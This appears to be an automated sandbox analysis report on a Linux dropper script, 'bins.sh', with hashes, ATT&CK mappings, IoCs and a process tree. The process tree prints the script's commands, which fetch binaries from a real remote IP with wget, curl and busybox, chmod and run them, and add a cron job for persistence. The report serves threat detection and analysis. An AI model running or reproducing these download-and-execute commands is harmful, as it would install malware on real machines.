ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423

Analysis

max time kernel
150s
max time network
86s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
25-11-2024 23:56

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General

Target

bins.sh
Size

10KB
MD5

81a496ac5416f01f492d7eb50039a21c
SHA1

ecfdd7164357b662411ff449bec53c5a7aebc3cf
SHA256

ebecfae9d26f90c6a359f204c8aafff6948e28df6e9fc31707db37589222e423
SHA512

45b404d7ae5e72ba3958dd00940279dfbf8241c3cf0b9f85a3c8735ebec4fb038a3159df3a80636388025d7149d216ca1a9587dd99c5ecde8754380b8a3ee4be
SSDEEP

96:UmC6SBd7G2JT0a6MHjOszPlaqL7Z7p7Fa2F8mEwFC6SBd7wJfbozzPlaqLWy7Z7Z:Un02VUmF1Fa2ypF1Fa2l

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmod

pid process

752 chmod
787 chmod
733 chmod

pid	process
752	chmod
787	chmod
733	chmod

Executes dropped EXE 3 IoCs

Processes:

LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqqJKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

ioc	pid	process
/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	734	LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	753	gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy	788	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

Renames itself 1 IoCs

Processes:

JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

pid process

789 JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.9NR8j0 crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
789	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.9NR8j0	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgycurlcrontabcurlcrontabcurl

description	ioc	process
File opened for reading	/proc/13/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/15/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/21/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/803/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/818/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/8/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/6/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/37/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/71/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/76/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/460/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/704/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/144/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/662/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/701/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/104/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/11/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/12/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/36/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/709/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/148/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/806/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/822/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/835/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/18/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/23/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/75/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/331/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/333/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/367/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/678/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/824/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/10/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/832/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/829/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/17/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/22/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/150/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/808/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/810/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/7/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/16/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/378/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/794/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/811/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/828/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/9/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/20/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/694/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/781/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/802/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/5/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/225/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/816/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/24/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/165/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/334/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/366/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
File opened for reading	/proc/799/cmdline	JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetcurlwgetcurlwgetbusyboxbusybox

description	ioc	process
File opened for modification	/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy	curl
File opened for modification	/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy	busybox
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	wget
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	curl
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	wget
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	curl
File opened for modification	/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy	wget
File opened for modification	/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2	busybox
File opened for modification	/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:710
- /usr/bin/wget
  wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  ./LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2
  2⤵
  PID:736
- /usr/bin/wget
  wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - File and Directory Permissions Modification
  PID:752
- /tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  ./gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  - Executes dropped EXE
  PID:753
- /bin/rm
  rm gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq
  2⤵
  PID:757
- /usr/bin/wget
  wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - Writes file to tmp directory
  PID:758
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - Writes file to tmp directory
  PID:779
- /bin/chmod
  chmod 777 JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  ./JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:788
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:790
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:792
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:795
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:796
- /bin/rm
  rm JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy
  2⤵
  PID:800
- /usr/bin/wget
  wget http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/d5NkRj71QwJRAbAWRernZNKWNlkpUrBj5I
  2⤵
  PID:804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/JKQeZtqk4ln70QJCWUeXtQdTYHlMl6WKgy

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/LmR9v8U4aHC158uhQjnjpUcljRCOHa6Ez2

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/gVwcxlVQP087VqZxBGUVW7P11yk8Mw4mqq

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/var/spool/cron/crontabs/tmp.9NR8j0

Filesize
210B

MD5
f86dc56fd36bba1737b37e091da2f21f

SHA1
38268883d4d0b3b384868e1951a968728b0335a1

SHA256
c50ca2ecf7e3019ecc897013ed45feba6c0b29a6f1857e0bbed483231c62ddcc

SHA512
73e2f3d32c2b2b1cb00dc9cb8efd9f8a75b6bb2da1d8ff9b6e0f70c7e1df38d76039c86929cf30f3fbb5f838eda3b0f6c50630f8013a04e356517cfb0ac773ae

Download Submit